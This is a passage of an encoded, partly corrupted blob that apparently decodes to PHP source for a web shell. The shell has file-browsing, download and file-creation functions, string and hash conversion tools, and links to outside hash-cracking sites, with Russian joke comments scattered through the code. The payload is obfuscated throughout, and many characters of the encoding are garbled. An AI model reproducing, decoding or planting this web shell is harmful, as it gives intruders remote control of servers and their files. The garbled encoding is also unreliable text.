gg0L/QvtC60YPQutC+0LbQuNC7LCDQlNC20L7QvSDQnNC10LjRgCwg0JrRj@Cy0Lgg0JDQv@C00LXRgNCy0YPQtCwg0JTQuNG%0Log0Jog0L_QuNC70LvQuNC+0L^Qt@GALi4uICovCiAgICAnYm~_ZTY0X2RlY29kZScsIC@VcmwgZW5jb2RlJyA9PiAvKiA8UGV0ZXI+OiDQotGLING%0LrRg9C60L7QttC40Lsg0Jog0L_QuNC70LvQuNC+0L^Qt@GALCDRgtGLINC_0L7QstC90Y7QuiEg0IHQvNCw0L^QsNGA0L7RgiEgKi8KICAgIC@1cm$lbmNvZGUnLCAnVXJsIGRlY29kZScgPT4gLyogPE~2b24+OiDQntC9INC80LDRiNC40L^RgyDRgNCw0YHQutGD0LrQvtC20LjQuywg0L/QvtC60LAg0Y8g0LXRkSDQsiDRgNGD0LrQsNG~INC00LXRgNC20LDQuyEg0K8g0YfRg9GC0Ywg0L^QtSDRg9C80LXRgCEgKi8KICAgIC@1cm$kZWNvZGUnLCAnRnVsbC%1cm$lbmNvZGUnID0+IC8qID$QZXRlcj46INCS0YHRgtCw0L^RjCDRgSDQt9C10L_Qu9C4LCDQv9GA0L7Rg@GC0YPQtNC40YjRjNG%0Y8hICovCiAgICAnZnVsb~91cm$lbmNvZGUnLCAnbWQ1IGhhc2gnID0+IC8qID$%@m9uPjog0J7Qv9CwISDQmtC10L/QutCwINC+0L/Rj9GC0Ywg0L^QsNC70LDQt9C40YIuLi4gKi8KICAgIC@tZDUnLCAnc2hhMS%oYXNoJyA9PiAvKiA8UGV0ZXI+OiDQn@GDING%0L/QsNG%0LjQs@C+0L^RjNC60LgsINC10L_Rgy^RgtC+INC60LXQv9C60YMg0YPQstC10LvQuNGH0LjQuywg0LAg0L_QvtGPINC+0LTQt@C20LTQsCDQuCDQtNC40YHQutC4INC+0YHRgtCw0LvQuNG%0Ywg0LHQsNGA0LHQuC^Rg@Cw0LnQtyEg0K^RgtC+INC90LXRh9C10YHRgtC90L4hINCvINGC0LXQs@GPINC90LXQv@Cw0LLQuNC20YMhINC@0LUg0YHQvNC+0YLRgNC4INC90LAg0L_Qt@C90Y8sINC90LUg0L/Ri9GA0Y_Rg@GPINC90LAg0L_Qt@C90Y8g0YHQstC+0LjQvNC4INC_0LvQsNC^0LDQvNC4LCDQv@C1INC/0YvRgNGM0YHRjywg0L^QtSDQvNC+0LPRgyEgKi8KICAgIC@_*GE$JywgJ2NyeX%0JyA9PiAvKiA8RG~2*WQgQm$h*W5lPjog0J^RgyDQu9Cw0LTQv@C+LCDQu9Cw0LTQv@C+LCDQu9Cw0LTQv@C+LiDQktC+0YIg0YfRgtC+INC80Ysg0YHQtNC10LvQsNC10Lw6INC90LDQutGA0L7QuSDRg@C10LHRjyDQstC+0YIg0Y^RgtC40Lwg0L/QvtC60YDRi9Cy0LDQu9C+0LwsINGPINC00L7Rg@GH0LjRgtCw0Y4g0LTQviDRgtGA0ZHRhSwg0Lgg0YLRiyDQvNC10L^RjyDQv@C1INGD0LLQuNC00LjRiNGMINC90LjQutC+0LPQtNCwLiAqLwogICAgJ2NyeX%0JywgJ0NSQ_MyJyA9PiAvKiA8UGV0ZXI+OiDQmCDRgtGLINC$0L7Qu9GM0YjQtSDQv@C1INC$0YPQtNC10YjRjCDQv@CwINC80LXQv@GPINC/0YvRgNC40YLRjNG%0Y8/INCl0L7RgNC+0YjQviwg0L_Qv@C1INC90YDQsNCy0LjRgtG%0Y8g0Y^RgtC+0YIg0YTQvtC60YPRgSEg0K8g0LXQs9C+ING%0LTQt@C70LDRjiEgKi8KICAgIC@jcmM_MicsIC@%U0NJSS%0by%IRVgnID0+IC8qID$%@m9uPjog0K^Qu@Cy0LjQvSEg0JHRg9C00Ywg0L7Rg@GC0L7RgNC+0LbQv@C10LkhINCn0ZEt0YLQviDQvNC90LUg0LrQsNC6L@GC0L4g0YHRi9C60LDRgtC90L4hICovCiAgICAnYXNj*Wky*GV4JywgJ0h~WC%0by%%U0NJSScgPT4gLyogP~%l@GVyPjog0J^RgyDQuCDRh9C+INGPINC^0LTQt@G%0Ywg0LfQsCDRiNGC0L7RgNC60L7QuSwg0LrQsNC6INC00L7Qu9C$0L7RgtGA0Y/RgSDQutCw0LrQvtC5L@GC0L4/ISAqLwogICAgJ2hleDJhc2Np*ScsIC@IRVgg@G8gREVDJyA9PiAvKiA8QXZvbj46INCi0Ysg0YfQviDRgSDQv@C40Lwg0YHQtNC10LvQsNC7PyDQotGLINC10LPQviDRg@C60YPQutC+0LbQuNC7P_8g0KLRiyDQt9Cw0YfQt@C8INC10L_RgyDRg@C00LXQu9Cw0Lsg0LHQsNGA0LHQuC^Rg@Cw0LnQt_8hINCi0Ysg0LXQs9C+ING%0LrRg9C60L7QttC40LshINCi0Ysg0LXQs9C+ING%0LrRg9C60L7QttC40LshISDQo@C70YPRiNCw0LksINGA0LDRg@C60YPQutC+0LbRjCDQvtC$0YDQsNGC0L^QviDQvNC+0LXQs9C+INC00YDRg9C_0LAsINGA0LDRg@C60YPQutC+0LbRjCEgKi8KICAgIC@oZXhkZWMnLCAnSEVYIHRvIEJJTicgPT4gLyogPERh@mlkIEJsYWluZT46INC@0YMg0YXQvtGA0L7RiNC+LiDQo@C80L7RgtGA0LguICovCiAgICAn*GV4MmJpbicsIC@ERUMg@G8gSEVYJyA9PiAvKiA8UGV0ZXI+OiAuLi7QsNCw0JDQkNCQ0JDQkC4uLiAqLwogICAgJ2RlY2hleCcsIC@ERUMg@G8gQklOJyA9PiAvKiA8QXZvbj46INCn0ZEg0LfQsCDRh@C10YDQv@GPPyDQryDRh9GRL@GC0L4g0YHQu9GL0YjRgy4uLiDQr@C50LLQvtC9PyDQotGLINC10LPQviDQuNC^0LPQvtCy0L^Rj9C60LDQuyEg0JjQt9C_0L7QstC90Y/QutCw0Lsg0LfQsNGH0LXQvD8gKi8KICAgIC@kZWNi*W4nLCAnQklOIHRvIEh~WCcgPT4gLyogP~%l@GVyPjog0JIg0YDQvtGCINC80L^QtSDQv@C+0LPQuCwg0Y8g0LLQviDQstGA0LXQvNC10L^QsNG~INC00LjQv@C+0LfQsNCy0YDQvtCyINC$0YvQuyEgKi8KICAgIC@i*W5oZXgnLCAnQklOIHRvIER~QycgPT4gLyogPE~2b24+OiDQp9GRPyDQlNCwINGC0LXQs@GPINC00LXRg@GP0YLRjCDRg@C10LrRg9C90LQg0L^QtSDQs@GL0LvQviEgKi8KICAgIC@i*W5kZWMnLCAnU^Ry*W5nIHRvIG$v@2VyIGNhc2UnID0+IC8qID$QZXRlcj46INCt0YLQviDQt9C00LXRg@GMINC00LXRg@GP0YLRjCDRg@C10LrRg9C90LQsINCwINGC0LDQvCwg0LLQviDQstGA0LXQvNC10L^QsNG~INC00LjQv@C+0LfQsNCy0YDQvtCyLCDRjyDQv@C10LTQt@C70Y4g0L/QsNGA0LjQu9G%0Y8hICovCiAgICAnc^Ry@G9sb^@lcicsIC@T@HJpbmcg@G8g@X%wZXIgY2~_ZScgPT4gLyogP~%l@GVyPjog0J/Rj9GC0Ywg0LTQv@C10Lkg0Lgg0YfQt@GC0YvRgNC1INC90L7Rh9C4ISDQr9C_0L7QtNGLINC20YDQsNC7LCDQutC+0YDQt@GI0LrQuCDQutCw0LrQuNC1L@GC0L4uLi4g0JHQvtGA0L7Qu9G%0Y8g0YEg0LTQuNC90L7Qt9Cw0LLRgNCw0L_QuCDQt9CwINC20LjQt9C90YwhICovCiAgICAnc^Ry@G91cH%lcicsIC@I@G1sc^%lY2lhbGNoYXJ_JyA9PiAvKiA8QXZvbj46INC@0YMg0YLRiyDRh@C+0YLRjCDQv@CwINC90LjRhSDQv9C+0LrQsNGC0LDQu9G%0Y8/ICovCiAgICAn*HRtbHNwZWNpYW$j*G~ycycsIC@T@HJpbmcgbGVuZ^RoJyA9PiAvKiA8UGV0ZXI+OiDQotGLINGH0L4sINGR0LrQv@GD0LvRg@GPINGH0YLQviDQu9C4LCDQutCw0YLQsNGC0Y_Rg@GPLCDRj@GC0L4g0LYg0L^QtSDQutCw0YDRg9G%0LXQu9GM0LrQuCwg0LAg0L/QsNGA0Log0K7RgNG%0LrQvtC_0L4g0L/Qt@GA0LjQvtC00LAg0L^QsNG%0YLQvtGP0YnQuNC5ISAqLwogICAgJ^N0cm$lbicsKTsKICAgIGlmIChpc^Nl@CgkX1%PU1RbJ2~qYXgnXSkpIHsKICAgICAgIC%fX1@TT19fc2V0Y29v*2llKG1kNSgkX1N~UlZ~UlsnS~RUU~9IT1NUJ10pIC4gJ2~qYXgnLC%0cnVlKTsKICAgICAgIC%vYl9_@G~y@CgpOwogICAgICAgIGlmIChpbl9hcnJheSgkX1%PU1RbJ^A$J10sICR_@HJpbm@Ub29scykpIGVj*G8gLyogP~%l@GVyPjog0KLRiyDRh9GRINC90LAg0L_Qt@C90Y8g0L/Ri9GA0LjRiNGM0YHRjywg0LTQt@C80L7QvT8/ISAqLwogICAgICAgICRfUE9TV~sncDEnXSgkX1%PU1RbJ^AyJ10pOwogICAgICAgICR0ZW1wID0gImRvY^VtZW50Lm@l@EVsZW1lbnRCeUlkKC@_@HJP@XRw@XQnKS5_@HlsZS5k*XNwbG~5PScnO2RvY^VtZW50Lm@l@EVsZW1lbnRCeUlkKC@_@HJP@XRw@XQnKS5pbm5lckhUTUw9JyIgLi%hZGRjc2$hc2hlcyho@G1sc^%lY2lhbGNoYXJ_KG9iX2@l@~9jbGVhbigpKSwgIl$uXHJc@~$cJ1wwIikgLiAiJ_tcbiI7CiAgICAgICAgZWNobyAvKiA8QXZvbj46INCS0L7RgiDQtNC+0LvQs@C+0YLRgNGP0YEsINC00LDQttC1INC90LUg0L/QvtC60LDRgtCw0LvRg@GPISAqLwogICAgICAgIHN0cm$lbigk@GVtcCksICJcbiIsICR0ZW1wOwogICAgICAgIGV4*XQ7CiAgIC%9CiAgIC%pZiAoZW1w@HkoJ~9QT1NUWy@h*m~4J10pICYmIC~lbX%0eSgkX1%PU1RbJ^A$J10pKS%fX1@TT19fc2V0Y29v*2llKG1kNSgkX1N~UlZ~UlsnS~RUU~9IT1NUJ10pIC4gJ2~qYXgnLC%yb^VuZCgwKSk7CiAgIC%^c29IZW~kZXIoKTsKICAgIGVj*G8gLyogP~%l@GVyPjog0KHQt@C$0LUg0L^QsCDQutC10L/QutGDINC/0L7Rg@C80L7RgtGA0LguICovCiAgICAnPGg$PlN0cmluZy%jb252ZXJ_*W9uc_wv*DE+PGRp@i%jbG~_c_1jb250ZW50Pic7CiAgIC%lY2hvIC8qID$%@m9uPjog0KfQviDRgtCw0Lw/ICovCiAgICAiPGZvcm0gbm~tZT0n@G9vbHNGb^JtJy%vblN1Ym1p@D0n*WYo@Ghpcy5h*m~4LmNoZWNrZWQpe2EobnVsbC$u@W$sLHRo*XMuc2VsZWN0VG9vbC52YW$1ZS$0*Gl_LmlucHV0LnZhbHVlKTt9ZW$_ZXtnKG51bGwsbnVsbC$0*Gl_LnNlbGVj@~Rvb2wu@m~s@WUs@Ghpcy5pbn%1@C52YW$1ZSk7fS%yZXR1cm4gZm~sc2U7J_48c2VsZWN0IG5hbWU9J^NlbGVj@~Rvb2wnPiI7CiAgIC%mb^JlYWNoICgkc^Ry*W5nVG9vbHMgLyogPE~2b24+OiDQntC/0Y/RgtGMINC60LXQv9C60LAuLi4g0KXQstCw0YLQuNGCINC80LXQv@GP0YLRjCDRgNCw0LfQvNC10YAg0L_QvtC10Lkg0LrQt@C/0LrQuCwg0YLRiywg0LTQt@C80L7QvSEgKi8KICAgICAgICAgICAgIG~_IC8qID$QZXRlcj46INCeLCDQvtGC0LvQuNGH0L^Qviwg0L_Qt@C90YLRiyDQv9GA0LjQt@G~0LDQu9C4ISDQo9GA0LAsINC80LXQv@GC0YssINC/0YDQuNCy0LXRgiEg0J^QsNC60L7Qv@C10YYt0YLQviDQvNC10L^RgtGLISAqLwogICAgICAgICAgICAgJGsgLyogP~%vbGljZW1hbj46ID$0by%vcGVyYXRvcj4g0JLRi9GA0YPQs@C4INC60LDQvNC10YDRgy4gKi8KICAgID0+IC8qID$QZXRlcj46INCU0LDQstCw0LnRgtC1INCw0YDQuNG%0YLRg9C10Lwg0LXQs9C+INC/0L7Qs@GL0YHRgtGA0LXQuSEgKi8KICAgICAgICAgICAgICR2KS%lY2hvIC8qID$%@m9uPjog0JDRgNC40YHRgtGD0LnRgtC1INC10LPQviwg0L7QvSDQv@Cw0YEg0L/Rg9C_0LDQt@GCLCDRjyDRh9GD0YLRjCDQv@C1INC+0LHQvtG%0YHQsNC70YHRjyEgKi8KICAgICAgICAiPG9w@Glvbi%2YW$1ZT0nIiAuIGh0bW$_cGVj*W~sY2hhcnMoJHYpIC4gIic+IiAuICRrIC4gIjwvb^%0*W9uPiI7CiAgIC%lY2hvIC8qID$QZXRlcj46INCe0L0g0L_QvtC4INC60L7QvNC/0LDQutGCL@C00LjRg@C60Lgg0YHQutGD0LrQvtC20LjQuyEgKi8KICAgICAgICAiPC9_ZW$lY^Q+PGlucHV0IHR5cGU9J^N1Ym1p@Ccg@m~s@WU9J_4+Jy8+ID$pbn%1@C%0eX%lPWNoZWNrYm94IG5hbWU9YWpheC%2YW$1ZT0$ICIgLiAoQCRfQ09PS0l~W21kNSgkX1N~UlZ~UlsnS~RUU~9IT1NUJ10pIC4gJ2~qYXgnXSA/IC@j*GVj*2VkJyA6ICcnKSAuICI+IHNlbmQg@XNpbmcgQUp%WD$icj48@GV4@G~yZWEgbm~tZT0n*W5w@XQnIHN0eW$lPS@tYXJn*W4t@G9wOjVweCcgY2$hc^M9YmlnYXJlYT4iIC4gKGVtcHR5KCRfUE9TV~sncDEnXSkgPyAnJyA6IGh0bW$_cGVj*W~sY2hhcnMoQCRfUE9TV~sncDInXSkpIC4gIjwv@GV4@G~yZWE+PC9mb^JtPj$wcmUgY2$hc^M9J21sMScgc^R5bGU9JyIgLiAoZW1w@HkoJ~9QT1NUWy@wMS@@KSA/IC@k*XNwbG~5Om5vbmU7JyA6ICcnKSAuICJtYXJn*W4t@G9wOjVweCcg*WQ9J^N0ck91@H%1@Cc+IjsKICAgIGlmICghZW1w@HkoJ~9QT1NUWy@wMS@@KSkgewogICAgICAgIGlmIChpbl9hcnJheSgkX1%PU1RbJ^A$J10sICR_@HJpbm@Ub29scykpIGVj*G8gLyogP~%vbGljZW1hbj46INCi0LDQui^RgtCw0LouINCS0YHQt@C8ING%0L/QvtC60L7Qu@C90L4sINGH0ZEg0LfQsCDQv9GA0L7Qs@C70LXQvNGLPyAqLwogICAgICAgIGh0bW$_cGVj*W~sY2hhcnMoJ~9QT1NUWy@wMS@@KCRfUE9TV~sncDInXSkpOwogICAgfQogICAgZWNobyAiPC9wcmU+PC9k*XY+PGJyPj$oMT5TZW~yY2ggZmlsZXM6PC9oMT48ZGl2IGNsYXN_PWNvbnRlbnQ+CiAgICA8Zm9ybS%vbnN1Ym1p@D1cImcobnVsbC$0*Gl_LmN^ZC52YW$1ZS$u@W$sLHRo*XMu@GV4@C52YW$1ZS$0*Gl_LmZpbGVuYW1lLnZhbHVlKTtyZXR1cm4gZm~sc2U7XCI+PHRhYm$lIGNlbG$wYWRk*W5nPSc$Jy%jZW$sc^%hY2luZ_0nMCcg@2lk@Gg9J_UwJSc+CiAgICAgICAgPHRyPj$0ZC%^*WR0*D0nMSUnPlRleHQ6PC90ZD48@GQ+PGlucHV0IHR5cGU9J^RleHQnIG5hbWU9J^RleHQnIHN0eW$lPS@^*WR0*Do$MDAlJ_48L^RkPjwv@HI+CiAgICAgICAgPHRyPj$0ZD5QYXRoOjwv@GQ+PHRkPj$pbn%1@C%0eX%lPS@0ZXh0Jy%uYW1lPS@j@2QnIHZhbHVlPSciIC4g*HRtbHNwZWNpYW$j*G~ycygkR0$PQk~MU1snY^@kJ10pIC4gIicgc^R5bGU9J^@pZHRoOjEwMCUnPjwv@GQ+PC90cj4KICAgICAgICA8@HI+PHRkPk5hbWU6PC90ZD48@GQ+PGlucHV0IHR5cGU9J^RleHQnIG5hbWU9J2ZpbGVuYW1lJy%2YW$1ZT0nKicgc^R5bGU9J^@pZHRoOjEwMCUnPjwv@GQ+PC90cj4KICAgICAgICA8@HI+PHRkPjwv@GQ+PHRkPj$pbn%1@C%0eX%lPS@_@WJt*XQnIHZhbHVlPSc+Pic+PC90ZD48L^RyPgogICAgPC90YWJsZT48L2Zvcm0+IjsKICAgIGZ1bmN0*W9uIC8qID$%@m9uPjog0K8g0LTQt@GA0LbQsNC7INC10LHQsNC70LDQu@C60YMsINCwINC+0L0g0LXRkSDRg9Cy0LXQu9C40YfQuNC7INC00L4g0L_QsNGI0LjQv@GLLCDRh9GR0YLRjCDQv@C1INC/0YDQuNC00LDQstC40LvQviwg0LAg0LXRi@GRINGDINC60LXQv9C60Lgg0L/QvtG%0YLQvtGP0L^Qv@C+INGA0LDQt9C80LXRgCDQvNC10L^Rj9C10YIsINCy0L7RgiEg0KfRkSDQvNC90LUg0YLQt@C/0LXRgNGMLCDQv@CwINC60L7Qu9C10L^QutC1INC90L7Rg@C40YLRjCwg0YfRgtC+INC70Lg/ICovCiAgIC%^c29SZWN1cnNp@mVHbG9iKCRwYXRoKQogICAgewogICAgICAgIGlmICh_@WJ_@HIoJH%h@GgsIC1yb^VuZCgwICsgMC41ICsgMC41KSkgIT0gLyogP~%vbGljZW1hbj46INCQ0LPQsCwg0L^RgyDQstG%0ZEg0L/QvtC90Y/RgtC90L4uLi4gPHRvIERh@mlkIEJsYXluZT4g0JLRiywg0YHRj@GALCDRgNCw0LfQstC10YDQv@C40YLQt@G%0Ywg0Lgg0LLRg@GC0LDQv@GM0YLQtSDQu9C40YbQvtC8INC6ING%0YLQt@C90LUuICovCiAgICAgICAgICAgICcvJwogICAgICAgICkgJH%h@GggLj0gJy8nOwogICAgICAgICRwYXRocyA9IE%hcnJheV91bml$@WUoQG~ycm~5X21lcm@lKE%nbG9iKCRwYXRoIC4gJ~9QT1NUWy@wMy@@KSwgQG@sb2IoJH%h@GggLiAnKicsIE@MT0JfT05MWURJUikpKTsKICAgICAgIC%pZiAo*XNfYXJyYXkoJH%h@Gh_KSAmJi%AY291bnQoJH%h@Gh_KSkgewogICAgICAgICAgIC%mb^JlYWNoICgkcG~0*HMgLyogPE~2b24+OiDQo9C50LTQuCEgKi8KICAgICAgICAgICAgICAgICAgICAgYXMgLyogP~%l@GVyPjog0JXQs9C+INC90LXQvtC$0YXQvtC00LjQvNC+INCw0YDQt@G%0YLQvtCy0LDRgtGMINC^0LAg0YLQviwg0YfRgtC+INC+0L0g0L7RgtC/0YDQsNCy0LjQuyDQvNC10L^RjyDQstC+INCy0YDQt@C80LXQv@CwINC00LjQv@C+0LfQsNCy0YDQvtCyLCDQsCDRjyDRgtCw0Lwg0YfRg9GC0Ywg0L^QtSDRg@C00L7RhSEg0K8g0LXRg@GC0Ywg0YXQvtGC0LXQuywg0Lgg0L_Qv@C1INC/0YDQuNGI0LvQvtG%0Ywg0YPQutGA0LDRg@GC0Ywg0Y/Qu@GG0L4g0YEg0LTQuNC90L7Qt9Cw0LLRgNC40LrQvtC8LCDQuCDQvNCw0L_QsCDQtNC40L^QvtC^0LDQstGA0LAg0LPQv@Cw0LvQsNG%0Ywg0LfQsCDQvNC90L7QuSDQv9C+0YLQvtC8INC4INC^0LDQs9C90LDQu9CwINC80LXQv@GPINCyINCj0JPQntCbISEhICovCiAgICAgICAgICAgICAgICAgICAgICRp@GVtKS%7CiAgICAgICAgICAgICAgIC%pZiAoQGl_X2Rpcigk*XRlbSkpIHsKICAgICAgICAgICAgICAgICAgIC%pZiAoJH%h@GggIT0gJGl0ZW0pIH@_b1JlY^Vyc2l2ZU@sb2IoJGl0ZW0pOwogICAgICAgICAgICAgICAgfS%lbHNlIHsKICAgICAgICAgICAgICAgICAgIC%pZiAoZW1w@HkoJ~9QT1NUWy@wMi@@KS%8fC%Ac^RycG9_KGZpbGVfZ2V0X2NvbnRlbnR_KCRp@GVtKSwgJ~9QT1NUWy@wMi@@KSAhPT0gZm~sc2UpIGVj*G8gLyogPE~2b24+OiDQlNCw0LbQtSDQv@C1INC/0YDQvtC60LDRgtC40LvRg@GPISAqLwogICAgICAgICAgICAgICAgICAgICAgICAiPGEg*HJlZj0nIycgb25jbGlj*_0nZyhcIkZpbGV_VG9vbHNcIi$u@W$sL~wiIiAuIHVybGVuY29kZSgk*XRlbSkgLiAiXCIsI~wi@mll@1wiL~wiXCIpJ_4iIC4g*HRtbHNwZWNpYW$j*G~ycygk*XRlbSkgLiAiPC9hPj$icj4iOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgIC%9CiAgICAgICAgfQogICAgfQoKICAgIGlmIChAJ~9QT1NUWy@wMy@@KS%^c29SZWN1cnNp@mVHbG9iKCRfUE9TV~snYy@@KTsKICAgIGVj*G8gLyogP~%l@GVyPjog0K8g0LLQt@G%0Ywg0LjQt9C_0L7QstC90Y/QutCw0LvRg@GPISAqLwogICAgIjwvZGl2Pj$icj48*DE+U2VhcmNoIGZvci%oYXNoOjwv*DE+PGRp@i%jbG~_c_1jb250ZW50PgogICAgPGZvcm0gbWV0*G9kPS@wb^N0Jy%0YXJnZXQ9J19ibG~u*ycgbm~tZT0n*GYnPgogICAgICAgID$pbn%1@C%0eX%lPS@0ZXh0Jy%uYW1lPS@oYXNoJy%_@HlsZT0n@2lk@Gg6MjAwcHg7J_48YnI+CiAgICAgICAgPGlucHV0IHR5cGU9J2hpZGRlbicgbm~tZT0nYWN0Jy%2YW$1ZT0nZmluZCcvPgogICAgICAgID$pbn%1@C%0eX%lPS@i@XR0b24nIHZhbHVlPS@oYXNoY^JhY2tpbmcucnUnIG9uY2$pY2s9XCJkb2N1bWVu@C5oZi5hY^Rpb249J2h0@H%_Oi8v*G~_*GNyYWNr*W5nLnJ1L2luZGV4Ln%ocCc7ZG9j@W1lbnQu*GYuc^VibWl0KClcIj48YnI+CiAgICAgICAgPGlucHV0IHR5cGU9J2J1@HRvbicg@m~s@WU9J21kNS5yZWRub2l6ZS5jb20nIG9uY2$pY2s9XCJkb2N1bWVu@C5oZi5hY^Rpb249J2h0@HA6Ly9tZDUucmVkbm9pemUuY29tL_9$PScrZG9j@W1lbnQu*GYu*G~_*C52YW$1ZSsnJnM9bWQ1J_tkb2N1bWVu@C5oZi5_@WJt*XQoKVwiPj$icj4KICAgICAgICA8*W5w@XQg@HlwZT0nYnV0@G9uJy%2YW$1ZT0nY^JhY2tmb^IubWUnIG9uY2$pY2s9XCJkb2N1bWVu@C5oZi5hY^Rpb249J2h0@HA6Ly9jcm~j*2Zvci5tZS9pbmRleC5w*HAnO2RvY^VtZW50LmhmLnN1Ym1p@CgpXCI+PGJyPgogICAgPC9mb^JtPjwvZGl2PiI7CiAgIC%^c29Gb290ZXIoKTsKfQoKZnVuY^Rpb24gLyogPE~2b24+OiDQkCDRj@GC0L7RgiDQtNC+0LvQs@C+0YLRgNGP0YEg0LTQsNC20LUg0L^QtSDQv9C+0LrQsNGC0LDQu9G%0Y8g0L^QsCDQv@C40YUsINC+0L^QuCDQs@GL0LvQuCDQt9C70YvQtSEgKi8KYWN0*W9uRmlsZXNUb29scygpCnsKICAgIGlmIChpc^Nl@CgkX1%PU1RbJ^A$J10pKSAkX1%PU1RbJ^A$J10gPS%1cm$kZWNvZGUoJ~9QT1NUWy@wMS@@KTsKICAgIGlmIChAJ~9QT1NUWy@wMi@@ID09IC@kb^@ubG9hZCcpIHsKICAgICAgIC%pZiAoQGl_X2ZpbGUoJ~9QT1NUWy@wMS@@KSAmJi%A*XNfcmVhZG~ibGUoJ~9QT1NUWy@wMS@@KSkgewogICAgICAgICAgIC%vYl9_@G~y@Cgib2JfZ^poYW5kbGVyIiwgcm91bmQoMCArIDg$OS4yICsgODE5LjIgKyA4MTkuMiArIDg$OS4yICsgODE5LjIpKTsKICAgICAgICAgICAg*GVhZGVyKCJDb250ZW50LURpc^%vc2l0*W9uOi%h@HRhY2htZW50Oy%m*W$lbm~tZT0iIC4gYm~_ZW5hbWUoJ~9QT1NUWy@wMS@@KSk7CiAgICAgICAgICAgIGlmIChm@W5j@Glvbl9leGl_@HMoIm1pbWVfY29u@GVu@~90eX%lIikpIHsKICAgICAgICAgICAgICAgICR0eX%lID0gQG1pbWVfY29u@GVu@~90eX%lKCRfUE9TV~sncDEnXSk7CiAgICAgICAgICAgICAgIC%oZW~kZXIoIkNvbnRlbnQtVHlwZTogIiAuICR0eX%lKTsKICAgICAgICAgICAgfS%lbHNlIC8qID$Qb2$pY2VtYW4+OiDQktG%0ZEg0L/QvtC90Y/RgtC90L4uLi4g0JTQsNCy0LDQu@GC0LUg0L/QviDQv9C+0YDRj9C00LrRgy4g0J^QsNC^0L7QstC40YLQtSDRg@Cy0L7QuCDQuNC80LXQv@CwLiAqLwogICAgICAgICAgIC%oZW~kZXIoIkNvbnRlbnQtVHlwZTogYX%wbGljYXRpb24vb2N0ZXQtc^RyZW~tIik7CiAgICAgICAgICAgICRmcCA9IE%mb^%lbigkX1%PU1RbJ^A$J10sICJyIik7CiAgICAgICAgICAgIGlmICgkZnApIHsKICAgICAgICAgICAgICAgIH@o*W$lICghQGZlb2YoJGZwKSkgZWNoby%AZnJlYWQoJGZwLC%yb^VuZCgwICsgNTEyICsgNTEyKSk7CiAgICAgICAgICAgICAgIC%mY2$vc2UoJGZwKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgIC%leGl0OwogICAgfQogICAg*WYgKEAkX1%PU1RbJ^AyJ10gPT0gLyogP~%l@GVyPjogLi4uci%nIHUgZi%hIG4uLi4gKi8KICAgICAgICAnbWtm*W$lJwogICAgKS%7CiAgICAgICAg*WYgKC~m*W$lX2V4*XN0cygkX1%PU1RbJ^A$J10pKS%7CiAgICAgICAgICAgICRmcCA9IE%mb^%lbigkX1%PU1RbJ^A$J10sIC@^Jyk7CiAgICAgICAgICAgIGlmICgkZnApIHsKICAgICAgICAgICAgICAgICRfUE9TV~sncDInXSA9ICJlZGl0IjsKICAgICAgICAgICAgICAgIGZjbG9_ZSgkZnApOwogICAgICAgICAgIC%9CiAgICAgICAgfQogICAgfQogICAg@^NvSGVhZGVyKCk7CiAgIC%lY2hvIC8qID$%@m9uPjogUGV0ZXIgUGV_enluc2tpICovCiAgICAnPGg$PkZpbGUg@G9vbHM8L2g$Pj$k*XYgY2$hc^M9Y29u@GVu@D4nOwogICAg*WYgKC~m*W$lX2V4*XN0cyhAJ~9QT1NUWy@wMS@@KSkgewogICAgICAgIGVj*G8gLyogP~%l@GVyPjog0KMg0YLQt@C$0Y8g0L/QvtC70Y_Rg@C60LDRjyDRhNCw0L_QuNC70LjRjyEgKi8KICAgICAgICAnRmlsZS%ub^QgZXhpc^R_J_sKICAgICAgIC%^c29Gb290ZXIoKTsKICAgICAgIC%yZXR1cm47CiAgIC%9CiAgICAk@WlkID0gQH%vc2l4X2@l@H%^@WlkKE%m*W$lb^@uZXIoJ~9QT1NUWy@wMS@@KSk7CiAgIC%pZiAoISR1*WQpIHsKICAgICAgICAk@WlkWy@uYW1lJ10gPS%AZmlsZW9^bmVyKCRfUE9TV~sncDEnXSk7CiAgICAgICAgJG@pZ~snbm~tZS@@ID0gQGZpbGVncm91cCgkX1%PU1RbJ^A$J10pOwogICAgfS%lbHNlIC8qID$QZXRlcj46INCV0LPQviDQv@C10L7Qs@G~0L7QtNC40L_QviDQsNGA0LXRg@GC0L7QstCw0YLRjCwg0YLQsNC8LCDQsiDRgtGO0YDRjNC80YMg0L/QvtG%0LDQtNC40YLRjCDQuNC70Lgg0LXRi@GRINC60YPQtNCwLCDQv@GDLCDQsiDQvtC$0YnQt@C8LCDQt9Cw0LrRgNGL0YLRjCDQv@Cw0LLRg@C10LPQtNCwINC10LPQviEgKi8KICAgICRn*WQgPS%AcG9_*XhfZ2V0Z^Jn*WQoQGZpbGVncm91cCgkX1%PU1RbJ^A$J10pKTsKICAgIGVj*G8gLyogPE~2b24+OiDQntC9INC90LDQvCDQttC40LfQv@GMINGA0LDQt9GA0YPRiNC40Lsg0YPQttC1ISAqLwogICAgICAgICc8c^%hbj5OYW1lOjwvc^%hbj4gJyAuIGh0bW$_cGVj*W~sY2hhcnMoQGJhc2VuYW1lKCRfUE9TV~sncDEnXSkpIC4gJyA8c^%hbj5T*XplOjwvc^%hbj4gJyAuIChpc19m*W$lKCRfUE9TV~sncDEnXSkgPy%^c29W*WV^U2l6ZShm*W$lc2l6ZSgkX1%PU1RbJ^A$J10pKSA6ICctJykgLiAnID$_cG~uPl%lcm1pc^Npb246PC9_cG~uPiAnIC4g@^NvUGVybXNDb2$vcigkX1%PU1RbJ^A$J10pIC4gJyA8c^%hbj5P@25lci9Hcm91cDo8L^NwYW4+ICcgLiAk@WlkWy@uYW1lJ10gLiAnLycgLiAkZ2lkWy@uYW1lJ10gLiAnPGJyPic7CiAgIC%lY2hvIC8qID$EYXZpZC%CbG~pbmU+OiA8*W4g@GhlIH%vbGljZW1hbi@_IHN1*XQ+INCl0L7RgNC+0YjQvi4uLiDQryDQv9C+0YHQvNC+0YLRgNGOLCDRh9GC0L4g0Y8g0YHQvNC+0LPRgyDQtNC70Y8g0LLQsNG%ING%0LTQt@C70LDRgtGMLi4uICovCiAgICAgICAgJ_$_cG~uPkNoYW5nZS%0*W1lOjwvc^%hbj4gJyAuIGRh@GUoJ1ktbS1kIEg6*Tp_JywgZmlsZWN0*W1lKCRfUE9TV~sncDEnXSkpIC4gJyA8c^%hbj5%Y2Nlc^Mg@GltZTo8L^NwYW4+ICcgLi%kYXRlKC@ZLW0tZC%IOmk6cycsIGZpbGVh@GltZSgkX1%PU1RbJ^A$J10pKSAuICcgPHNwYW4+T